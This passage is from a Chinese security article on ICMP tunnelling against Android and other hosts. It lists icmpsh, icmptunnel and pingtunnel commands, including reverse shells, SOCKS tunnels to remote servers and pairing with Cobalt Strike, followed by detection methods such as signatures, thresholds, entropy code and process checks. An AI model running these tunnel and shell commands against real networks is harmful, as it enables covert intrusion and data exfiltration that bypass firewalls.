Destination address forwarded by the remote server, traffic will be forwarded to this address -timeout 本地记录连接超时的时间,单位是秒,默认60s
The time when the local record connection timed out, in seconds, 60 seconds by default

-key 设置的密码,默认0
Set password, default 0

-tcp 设置是否转发tcp,默认0
Set the switch to forward tcp, the default is 0

-tcp_bs tcp的发送接收缓冲区大小,默认1MB
Tcp send and receive buffer size, default 1MB -tcp_mw tcp的最大窗口,默认20000
The maximum window of tcp, the default is 20000

-tcp_rst tcp的超时发送时间,默认400ms
Tcp timeout resend time, default 400ms -tcp_gz 当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0
Tcp will compress data when the packet exceeds this size, 0 means no compression, default 0

-tcp_stat 打印tcp的监控,默认0
Print tcp connection statistic, default 0 is off -nolog 不写日志文件,只打印标准输出,默认0
Do not write log files, only print standard output, default 0 is off -noprint 不打印屏幕输出,默认0
Do not print standard output, default 0 is off -loglevel 日志文件等级,默认info
log level, default is info -sock5 开启sock5转发,默认0
Turn on sock5 forwarding, default 0 is off -profile 在指定端口开启性能检测,默认0不开启
Enable performance detection on the specified port. The default 0 is not enabled.

-s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发
Set the forwarding filter in the sock5 mode. The default is full forwarding. For example, setting the CN indicates that the Chinese address is not forwarded.

-s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdb
The data file in sock5 filter mode, the default reading of the current directory GeoLite2-Country.mmdb
rpi4:/data/local #

  • icmpsh

最后更新于2013年,受控端(客户端)使用C语言实现,只能运行在目标Windows机器上;而主控端(服务端)由于已经有C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。能通过ICMP协议反弹cmd,不用管理员权限,但反弹回来的cmd极不稳定,不推荐使用

下载地址:https://github.com/bdamele/icmpsh

# 下载icmpsh
git clone https://github.com/inquisb/icmpsh.git# 禁用ICMP echo回复,防止内核自己对ping包进行响应<可选>sysctl -w net.ipv4.icmp_echo_ignore_all=1# 攻击端执行
python icmpsh_m.py <attacker's-IP> <target-IP># 受害者端执行
icmpsh.exe -t <attacker's-IP>
  • icmptunnel

最后更新于2017年,创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道的vpn,需要root权限,动静极大,不推荐使用

下载地址:https://github.com/DhavalKapil/icmptunnel

受害者端安装与编译

## 安装和编译
git clone https://github.com/DhavalKapil/icmptunnel.gitmake

# 禁用ICMP echo回复,防止内核自己对ping包进行响应<可选>echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

# 启动隧道(root权限)[sudo] ./icmptunnel -s 10.0.1.1# 观察路由
route -n

攻击端安装和编译

## 安装和编译
git clone https://github.com/DhavalKapil/icmptunnel.gitmake

# 禁用ICMP echo回复,防止内核自己对ping包进行响应<可选>echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

# 修改client.sh
route add -host [server-IP] gw [client-IP] dev eth0

# 建立隧道[sudo] ./icmptunnel -c [server-IP]

  • PingTunnel

PTunnel是一种可以把TCP链接通过ICMP的显示请求(ping请求)和回复(ping回复)包进行传输的工具。这种工具能够将数据信息隐秘地送入或送出网络,可以用于只有ICMP数据流允许出入的网络的情况

下载地址:http://www.cs.uit.no/~daniels/PingTunnel/

  • icmptx

下载地址:https://github.com/jakkarth/icmptx

  • Hans

下载地址:https://code.gerade.org/hans/

6.3.4 pingtunnel 伪造ICMP流量穿透Android防火墙

监听本地的 4455 端口,发送到4455端口的流量将通过 ICMP 隧道转发到 47.244.96.168 服务器的 8888 端口

客户端转发 tcp:用管理员权限运行,不同的转发功能所对应的命令,如果看到有 ping pong 的 log,说明连接正常

  • 转发 sock5

    • pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1

  • 转发 tcp

    • pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1

  • 转发 udp

    • pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455

./pingtunnel -type client -l :4455 -s 192.168.26.52 -t 192.168.26.52:4455 -tcp 1

服务端:

pingtunnel.exe -type server

此处可以结合PingTunnel跟cobalt strike,步骤如下:

./pingtunnel -type client -l :4451 -s 192.168.26.52 -t 192.168.26.52:4455 -tcp 1
    1. 公网VPS设置两个监听:一个监听127.0.0.1的4451端口,一个监听192.168.26.52的4455端口

    1. 监听器127.0.0.1生成beacon运行在被攻击机上,此时监听192.168.26.52的4455端口会看到机器上线


实战复现步骤

  • 服务端执行如下pingtunnel和ew命令:

./pingtunnel -type server -noprint 1 -nolog 1

:建议一定要加noprint nolog两个参数,否则会生成大量的日志文件

./ew_for_linux64  -s rcsocks -l 10080 -e 8898

  • 客户端执行如下pingtunnel和ew命令:

    • https://github.com/idlefire/ew/blob/master/ew_for_Arm32

    • https://github.com/extremecoders-re/tcpdump-android-builds/releases/tag/v1.0

# 传 tcpdump 到 目录 /data/local/adb push d:\pingtunnel /data/local/tcpdump
# 设置权限
adb shell chmod 6755 /data/local/tcpdump
# 启动监听程序 并将监听的数据包存放在/sdcard/test_icmp.pcap
adb shell su
cd /data/local./tcpdump -p -vv -s0 -w /sdcard/xxx_icmp.pcap
# 下载pcap包
adb pull /sdcard/icmp---222--2222_icmp.pcap d:/# 传 ew_for_Arm32 到 目录 /data/local/adb push d:\ew_for_Arm32 /data/local/ew
# 设置权限
adb shell chmod 6755 /data/local/ew
./pingtunnel -type  client -l :9999 -s 43.xxx.182 -t 43.xxx.182:8898 -sock5 -1./ew_for_Arm32 -s rssocks -d 127.0.0.1 -e 9999



6.3.5 ICMP隧道流量检测方法

什么都不做的情况下,只是做了端口转发,后半部分的值都是可变的如下

W\57 5c

W]57 5d


唯一不变的两个特征如下:此处建议使用AC自动机或BM算法,多模式匹配,可以更好的降低误报

  • _;E3e4 5f 01 a6 ee 08 d4 3b 04 0b de d9 08 00 45 00 00 33

    • e4 5f 01 a6 ee 08 d4 3b 04 0b de d9 08 00 45

  • ;_E3d4 3b 04 0b de d9 e4 5f 01 a6 ee 08 08 00 45 00 00 33

    • d4 3b 04 0b de d9 e4 5f 01 a6 ee 08 08 00 45

除了上面说的匹配data数据中的流量特征来做检测外,下面列出了其它一些检测ICMP流量的方法:

  • 1)工具的特征

[github.com/esrrhs/go-engine/src/pingtunnel.(*Client).ping] ping

5b 67 69 74 68 75 62 2e 63 6f 6d 2f 65 73 72 72 68 73 2f 67 6f 2d 65 6e 67 69 6e 65 2f 73 72 63 2f 70 69 6e 67 74 75 6e 6e 65 6c 2e 28 2a 43 6c 69 65 6e 74 29 2e 70 69 6e 67 5d 20 70 69 6e 67

  • 2)检测同一来源 ICMP 数据包的数量阈值,因为一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道攻击利用的话,在同一时间会产生几十、或百、甚至上千个 ICMP 数据包

    • 15秒内的数据包个数、非正常长度数据包个数、异常内容数据包个数、去重后的payload的个数 大于自定义的阈值检出(需要注意,个别路由器隔几个小时会发送有异常内容的,但内容只有几个字符不一样的data心跳包,通过增加去重(使用汉明距离(表示两个等长字符串在对应位置上不同字符的数目)去重,差别不超过3个字符的认为一样)后的payload的个数大于阈值来过滤)

    • 极端情况下,黑客会利用ICMP隧道绕过技术绕过检测,比如只有请求包没有响应包即一直往外发数据,统计该只有请求包没有响应包去重后超过10次,就产生告警

  • 3)检查请求数据包与对应的响应数据包内容是否一样(多模匹配)

  • 4)如果ICMP的type类型出现了0和8(0为请求数据,8为响应数据)以外的类型,产生告警

  • 5)检查type,ICMP隧道存在一些type为13/15/17的带payload的畸形数据包(畸形Ping报文,判断Type是否异常)

    • 为了减少误报,可以对存在有非法type的data数据,且去重后的data数据的个数大于阈值(需要注意,个别路由器会发送有畸形type的payload内容一样的包,通过增加去重后的payload的个数大于阈值来过滤减少误报)

  • 6)ICMP 数据包中 payload 大于 64 比特的数据包和icmp包异常的多,且长度也很长。但不排除攻击者专门配置限制所有数据包的 payload 为 64 比特(攻击者会单独设置限定长度正常为64比特,然后切片再拼装),让检测更难以发现

    • :Windows 和 Linux 系统下的Ping 命令默认的 Payload 长度为 64bit,但实际上协议允许附加最大 64K 大小的Payload

1)Proto:网络协议,包括传输控制协议(TCP)和用户数据报协议(UDP)1)Local Address:本地计算机的IP地址和正在使用的端口号。除非使用-n参数,否则将显示与IP地址和端口对应的主机名称。如果主机正在侦听所有端口,则主机名显示为星号(*)。如果端口尚未建立,则端口号显示为星号1)Foreign Address:远程计算机的IP地址和正在使用的端口号。除非指定了-n参数,否则将显示与IP地址和端口对应的主机名称。如果端口尚未建立,则端口号显示为星号(*1)State:TCP连接的状态,可能的状态包括CLOSE_WAIT、CLOSED、ESTABLISHED、FIN_WAIT_1、FIN_WAIT_2、LAST_ACK、LISTEN、SYN_RECEIVED、SYN_SEND和TIME_WAIT
  • 7)RAW 套接字状态(st)为07(CLOSE),表示监听状态。服务端调用了listen函数,可以开始accept连接了,根据套接字状态寻找特征如下:

    • 原始套接字(SOCK_RAW),原始套接字广泛应用于高级网络编程,也是一种广泛的黑客手段。原始套接字(SOCK_RAW)可用来自行组装数据包,可以接收本机网卡上所有的数据帧(数据包),对于监听网络流量和分析网络数据很有作用

    • ps -ef | grep "-sock5 1"或 ps -ef | grep "-sock5 -1"

    • ps -ef | grep "-tcp 1"或 ps -ef | grep "-tcp -1"

    • ps -ef | grep "-udp 1"或 ps -ef | grep "-udp -1"

    • ps -ef | grep "-type client"

    • 如上遍历获取到进程名得到文件运行的文件名后,匹配到开启一个RAW,且状态为07且进程名为pingtunnel或之前遍历进程后匹配到的进程名,就产生告警

  • 8)其它不同操作系统下,IP头前缀也不太一样,但data结尾都是相同的如下:

  • 030 da fa 06


  • 9)检测data数据包中没有加密的命令特征

  • 10)检测报文信息熵,信息熵可用来表示网络流量特征值(如源/目的 IP地址,源/目的端口号,数据包长度等)的分布特征。将网络中网络流的会话和数据包看成是离散的特征序列,并根据这些序列求得的信息熵可以反映网络的通信状态。当攻击到来时,某些特征的分布状态会发生改变,这个特征的信息熵值就可以作为一种标识来判断攻击的发生

    • 比如,要把一个文件名 test.doc进行传输

    • 先base64一下dGVzdC5kb2M=,然后编码常用域名,变成dG->zone.music.domain, Vz -> login.user.domain, dC -> ....

    • 绕过的风险,攻击者会尝试维护一个常用域名字典,然后拆分

    • 信息熵计算原理,即“对不重复数据的计算,且负载中的不重复数据的数量一定小于报文长度”,通过计算报文的熵,最后进行标准方差计算。下面的代码是酒仙桥六号部队发布计算报文熵标准方差的部分代码:

//判断是否存在  
intIsRepeat(int x,u_char y,u_char** z){
for(int n = 0; n < x; n++)
{
if(z[0][n] == y)
{
z[1][n] += 1;
return1;
}
}
return 0; }//返回存在个数
intRepeatCount(u_char* x,int y,u_char** z) {
z[0][0]=*x;
z[1][0]=1;
int maxC=1;
x++;
for(int n=0;n<y-1;n++)
{
if(!IsRepeat(maxC, *x, z))
{
z[0][maxC]=*x;
z[1][maxC]=1;
maxC++;
}
x++;
}
return maxC; }
//log换底公式
floatMathLogFunc(float x){
return(x*(log(x)/log(2)));}//计算报文的熵
floatCalcEntropy(int x, int y, u_char** z) {
float result = 0;

for(int n = 0; n < x; n++)
{
result += -MathLogFunc((float)z[1][n]/y);
}
returnresult; } floatgetEntropy(u_char* x, int y){
u_char**tmp = (u_char**)malloc(2 * sizeof(u_char*));
for(inti1 = 0; i1 < 2 ; i1++)
{
tmp[i1] = (u_char*)malloc(y * sizeof(u_char));
memset(tmp[i1], 0, y * sizeof(u_char));
}
floatresult = CalcEntropy(RepeatCount(x, y, tmp), y, tmp);
for(inti2 = 0; i2 < 2;i2++)
{
free(tmp[i2]);
}
free(tmp);
returnresult;}计算标准方差://计算平均值
floatCalcAverage(float* x, int y){
floattmp = 0;
for(inti = 0; i < y; i++)
{
tmp+= x[i];
}
return((float)tmp/y);}//计算标准方差
floatCalcSD(float* x,int y){
float average = CalcAverage(x, y);
float tmp = 0;
for(int i = 0; i < y; i++)
{
tmp += (float)pow(x[i] - average, 2);
}
return((float)sqrt(tmp/y));}

正常ping百度、163等网站的ICMP报文,计算出来的为0:

而通过利用工具产生的隧道报文时,报文熵的标准方差会很大:

  • 11)有些建立会新创建一个路由(虚拟网卡),比如icmptunnel工具,就会,可以使用route -n查看路由状况,发现不在白名单内的路由就产生告警

  • 12)检测/proc/sys/net/ipv4/icmp_echo_ignore_all是否为1,因为黑客会一般会禁用ICMP echo回复,防止内核自己对ping包进行响应

cat /proc/sys/net/ipv4/icmp_echo_ignore_all

  • 13)检测net.ipv4.ip_forward是否为1,在一些ICMP隧道攻击它会做端口转发的操作,但这类工具应该是最初级的了,因为已经不够隐蔽了,攻击者会尝试开启Android的内部路由转发,如果检测开启了内部路由转发就产生告警

cat /proc/sys/net/ipv4/ip_forward

  • 14)ICMP第一个开头的请求包sed为0,当然也要关注一下id值,正常的是0x0001和0x0002

Windows:

Linux:

Windows、Linux异常:

  • 15)ICMP Data字段 形成一个白名单,不在白名单内的告警

  • 16)检测 Data里面包含的特殊字段报警(比如加密后的base64的data信息)

参考链接

https://www.fortinet.com/cn/resources/cyberglossary/waf-vs-firewall

https://blog.51cto.com/xjsunjie/637830

http://www.kokojia.com/article/19432.html

https://developer.aliyun.com/article/254770

https://blog.csdn.net/cy524563/article/details/41677665

https://cloud.tencent.com/developer/article/1035444

https://cloud.tencent.com/developer/article/1036809

http://blog.csdn.net/tenfyguo/article/details/7478584

https://mp.weixin.qq.com/s/KxC0rqJaJD96hfkREjx29Q

https://blog.51cto.com/c959c/5331934

https://mp.weixin.qq.com/s/yuZ6P2hDkZvORkLqN8tueA

https://blog.csdn.net/u011784495/article/details/71743516

https://klose911.github.io/html/tii/icmp.html

https://mp.weixin.qq.com/s/vs0UR-B6MsIgk9G6iaDF5w

https://mp.weixin.qq.com/s/XTf_u1NLezs4v5aI8wr_fg

https://mp.weixin.qq.com/s/3SujLofRpxA2RfLljFbW1Q

https://my.oschina.net/Tsybius2014/blog/306981

https://zhuanlan.zhihu.com/p/49981590

https://blog.csdn.net/inject2006/article/details/3030222

https://mp.weixin.qq.com/s/Gthb3toQyWe5i_CSX42lhA

https://mp.weixin.qq.com/s/pco67kJJTar6P-4zI-LLcw

https://fishpond.blog.csdn.net/article/details/124060260

https://www.freebuf.com/articles/web/282931.html

https://forum.butian.net/share/400

https://www.anquanke.com/post/id/163240#h3-3


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NzUzNzk1Mw==&mid=2247493512&idx=1&sn=ddcc6d91d66c98155319591d0b3d1aed&chksm=ceb8a2c6f9cf2bd0c4d7dc4e61fa5785d7a74bf892e331781b4b1395fb370b31827bb4e73372#rd
如有侵权请联系:admin#unsafe.sh